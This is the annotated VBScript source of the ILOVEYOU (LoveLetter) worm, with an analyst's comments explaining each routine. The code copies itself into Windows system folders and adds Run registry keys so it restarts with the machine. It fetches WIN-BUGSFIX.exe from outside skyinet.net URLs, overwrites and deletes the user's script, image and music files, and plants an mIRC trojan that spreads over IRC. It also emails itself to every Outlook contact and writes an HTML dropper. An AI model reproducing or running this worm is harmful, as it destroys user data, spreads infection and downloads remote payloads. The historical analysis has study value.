

Source Code to the ILOVEYOU Worm

```
rem barok -loveletter(vbe) <i hate go to school>
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines
rem -----
rem INVOKING SCRIPT
rem
rem Effect: Save this in memory and run main
rem
rem -----
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
rem
eq=""
ctr=0
rem
rem put the contents of this script into vbscopy for later use
rem
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullName,1)
vbscopy=file.ReadAll
main()
rem -----
rem main
rem
rem Effect: do invokes the relevant routines after setup
rem
rem -----
sub main()
On Error Resume Next
dim wscr,rr
rem
rem set the timeout to 0
rem
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Time-
out")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Time-
out",0,"REG_DWORD"
end if
rem
rem set dirwin to root folder of Windows; copy this script into
rem MSKernel32.vbs and LOVE-LETTER-FOR-YOU.TXT.vbs in this directory
rem set dirsystem to Windows system folder; copy this script into
rem Win32DLL.vbs inthat directory
rem set dirtemp to Windows folder used for temp files
rem
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
rem
rem go!
```

```
rem
regruns()
html()
spreadtoemail()
listadriv()
end sub
rem -----
rem regruns
rem
rem Effect: If WinFAT32.exe exists in the system directory, attempt to
rem         download the program WIN-BUGSFIX.exe into the IE download directory.
rem         On success, set the IE start page to a blank screen (about:blank)
rem
rem -----
sub regruns()
On Error Resume Next
Dim num,downread
rem
rem Set the following keys:
rem HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32
rem   to <dirsystem>\MSKernel32.vbs
rem HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL
rem   to <dirwin>\Win32DLL.vbs
rem
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32",dir-
system&"\MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunSer-
vices\Win32DLL",dirwin&"\Win32DLL.vbs"
rem
rem Get the directory into which IE downloads stuff; use c:\ if not set
rem
downread=""
downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory")
if (downread="") then
downread="c:\"
end if
rem
rem If <dirsystem>\WinFAT32.exe does not exist, pick a random page
rem to get it from and download it
rem
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.skyi-
net.net/~youngls/HJKhjnwerhjkcxcvytwertnMTFwetrdsfmhPnjw6587345gvvsdf7679njbvYT/WIN-
BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.skyi-
net.net/~angelcat/
skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.skyi-
net.net/~koichi/jf6TRjkcbGRpGqaql98vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.skyi-
net.net/~chu/sdgfhjksdfjklNBmfnfgkKLHjkwqtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdg-
lKNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
end if
end if
```

```
end if
rem
rem If the payload is there, set the keys:
rem HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX
rem   to <IEdownloadaddirorc:\>\WIN-BUGSFIX.exe
rem and set the startup page for IE to be blank
rem
if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGS-
    FIX",downread&"\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start
    Page","about:blank"
end if
end sub
rem -----
rem listadriv
rem
rem Effect: infect all folders, files that qualify for infection
rem
rem -----
sub listadriv
On Error Resume Next
Dim d,dc,s
rem
rem get the system drives
rem
Set dc = fso.Drives
rem
rem If the drive is remote (3) or fixed (2),
rem call infectfiles on each folder in the tree
rem
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"\")
end if
Next
rem no idea what this does; listadriv is a sub, not
rem a function, and s is uninitialized!
listadriv = s
end sub
rem -----
rem infectfiles
rem
rem Effect: (1) create copies of this thing:
rem     * overwrite vbe, vbs files
rem     * delete js, jse, css, wsh, sct, ha
rem     files, put copies in files with same base name
rem     and vbs extension
rem     * delete jpg, jpeg files, put copies in files
rem     with same name and vbs extension
rem     * mp2, mp3 files, put copies in files with same
rem     name and vbs extension, and hide original files
rem     (2) create/insert a Trojan horse to be invoked when
rem     IRC is run; this seems to send the worm on all
rem     channels when you invoke IRC
rem
rem -----
sub infectfiles(folderspec)
On Error Resume Next
```

```
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
rem
rem get the files in the folder
rem
set f = fso.GetFolder(folderspec)
set fc = f.Files
rem
rem loop through the files
rem
for each f1 in fc
rem
rem get the file name (s) and the extension (ext)
rem
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
rem
rem what it does depends upon the file extension
rem
if (ext="vbs") or (ext="vbe") then
rem     it's visual basic
rem     write the contents of WScript.Scriptfullname into the file
rem     (overwrites what is there)
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta")
then
rem     it's a web-based language (javascript, cascading style sheet, etc.)
rem     write the contents of WScript.Scriptfullname into a file named
rem     the same but with a "vbs" extension; the original file is deleted
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&"\"&bname&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
rem     it's a jpeg (picture) file
rem     write the contents of WScript.Scriptfullname into a file named
rem     the same but with a "vbs" extension (delete the original file)
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
rem     it's an mpeg (movie) file
rem     put the contents of WScript.Scriptfullname into a file with the
rem     same path name but with a "vbs" extension
set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
rem     this looks like it's trying to hide the file
rem     attribute 0 is normal, 2 is hidden
rem     if the file's attribute is not normal, the resulting
rem     attribute seems to be meaningless
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set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
rem
rem Now go for IRC; this is done once per folder
rem
if (eq<>folderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or
(s="mirc.hlp") then
rem   if the folder contains any of these,
rem   set a Trojan to trigger when mIRC is next invoked
set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
rem   this script seems to send the worm file whenever
rem   you join an IRC channel
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"
scriptini.WriteLine "   corrupt... WINDOWS will affect and will not run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#{ "
scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"
scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
next
end sub
rem -----
rem folderlist
rem
rem Effect: Recurse throughout all subfolders
rem
rem -----
sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
rem
rem Get the subfolders in this folder
rem
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
rem
rem call infectfiles on each subfolder and recurse
rem
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next
end sub
rem -----
rem regcreate
rem
rem Effect: Change a key in the registry
rem
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```
rem -----
sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub
rem -----
rem regget
rem
rem Effect: Return the value of a key in the registry
rem
rem -----
function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
end function
rem -----
rem fileexist
rem
rem Effect: Return 0 if the file exists, 1 if not
rem
rem -----
function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
rem -----
rem folderexist
rem
rem Effect: Return 0 if the folder exists, 1 if not
rem ??? bogosity -- look at the return statement
rem ??? also, method GetFolderExists doesn't exist ...
rem -----
function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
rem -----
rem spreadtoemail
rem
rem Effect: send everyone on this user's address book
rem   a copy of the worm as an attachment to a letter
rem   with the subject: "ILOVEYOU" and the body:
rem   "kindly check the attached LOVELETTER coming from me."
rem -----
sub spreadtoemail()
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
```

```
rem
rem access Outlook and get the address lists
rem
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
rem
rem iterate over the address lists
rem
for ctrlists=1 to mapi.AddressLists.Count
rem   get this address list
set a=mapi.AddressLists(ctrlists)
x=1
rem   see if there is a corresponding windows address book
regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
if (regv="") then
regv=1
end if
rem   if there are entries in it, loop through them
if (int(a.AddressEntries.Count)>int(regv)) then
for cntentries=1 to a.AddressEntries.Count
rem       get the entry and see if there is a reg key with their
rem       name in the WAB
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)
rem       nope -- create a letter and send it out
rem       the worm is an attachment
if (regad="") then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbCrLf&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
rem       now create the key
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"
end if
rem       go on to next address
x=x+1
next
rem   now put the number of entries into the registry key
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
else
rem   key already exists;
rem   put the number of entries into the registry key
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
end if
next
rem
rem clobber the objects
rem
Set out=Nothing
Set mapi=Nothing
end sub
rem -----
rem html
rem
rem Effect: build a web page which, when invoked, will
```

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rem      create this little nasty and run it
rem      it's put into the web page named
rem      <dirsys>\LOVE-LETTER-FOR-YOU.HTM
rem      -----
sub html
On Error Resume Next
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
rem
rem this part is the HTML header that invokes a Java script to
rem create a window; what follows is a variable to hold the (modified)
rem form of this script
rem
dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-><TITLE><META NAME=@-@Generator@-@ CONTENT=@-
      @BAROK VBS - LOVELETTER@-@>"&vbcrlf& _
"<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? @GRAMMERSoft Group ?-?
      Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _
"<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is good...@-@>"&vbcrlf& _
"<?-><HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-
      #,#-#main#-#)@-@ "&vbcrlf& _
"ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@
      BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _
"<CENTER><p>This HTML file need ActiveX Control<?-><p><p>To Enable to read this HTML file<BR>-
      Please press #-#YES#-# button to Enable ActiveX<?-><p>"&vbcrlf& _
"<?-><CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>-----z-----
      z-----<?-><MARQUEE> "&vbcrlf& _
"<?-><BODY><?-><HTML>"&vbcrlf& _
"<SCRIPT language=@-@JScript@-@>"&vbcrlf& _
"<!--?->?->"&vbcrlf& _
"if (window.screen){var wi=screen.availWidth;var hi=screen.availHeight;win-
      dow.moveTo(0,0);window.resizeTo(wi,hi);} "&vbcrlf& _
"?->?->?->"&vbcrlf& _
"<?-><SCRIPT>"&vbcrlf& _
"<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _
"<!--"&vbcrlf& _
"on error resume next"&vbcrlf& _
"dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _
"aw=1"&vbcrlf& _
"code="
rem
rem this part is the visual basic script that decodes the encoded
rem script and runs it, when invoked by ie; it's appended to the
rem encoded part and put into the page
rem
dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _
"set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _
"code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _
"code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _
"code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _
"set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _
"wri.write code4"&vbcrlf& _
"wri.close"&vbcrlf& _
"if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _
"if (err.number=424) then"&vbcrlf& _
"aw=0"&vbcrlf& _
"end if"&vbcrlf& _
"if (aw=1) then"&vbcrlf& _
"document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _
"window.close"&vbcrlf& _
"end if"&vbcrlf& _

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```
"end if"&vbCrLf& _
"Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbCrLf& _
"regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-
^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbCrLf& _
"?-?-?-?-?"&vbCrLf& _
"<?-?SCRIPT>"
dt1=replace(dta1,chr(35)&chr(45)&chr(35),"")
dt1=replace(dt1,chr(64)&chr(45)&chr(64),"")
dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")
dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")
dt2=replace(dta2,chr(35)&chr(45)&chr(35),"")
dt2=replace(dt2,chr(64)&chr(45)&chr(64),"")
dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")
dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")
rem
rem   Open this script
rem
set fso=CreateObject("Scripting.FileSystemObject")
set c=fso.OpenTextFile(WScript.ScriptFullName,1)
rem
rem   Read contents in and break it into lines
rem   ll is the number of lines
rem
lines=Split(c.ReadAll,vbCrLf)
ll=ubound(lines)
for n=0 to ubound(lines)
rem   map: ' to [-[, " ]-], and \ to %-%
lines(n)=replace(lines(n),"",chr(91)+chr(45)+chr(91))
lines(n)=replace(lines(n),"",chr(93)+chr(45)+chr(93))
lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37))
rem   put " ... " around lines, and append &vbCrLf& _ to all
rem   but the last line
if (ll=n) then
lines(n)=chr(34)+lines(n)+chr(34)
else
lines(n)=chr(34)+lines(n)+chr(34)&"&vbCrLf& _"
end if
next
rem Create <dirsys>\LOVE-LETTER-FOR-YOU.HTM and open it for
rem writing; then put the modified script into it with the
rem HTML header and trailer
rem
set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM")
b.close
set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2)
d.write dt5
d.write join(lines,vbCrLf)
d.write vbCrLf
d.write dt6
d.close
end sub
```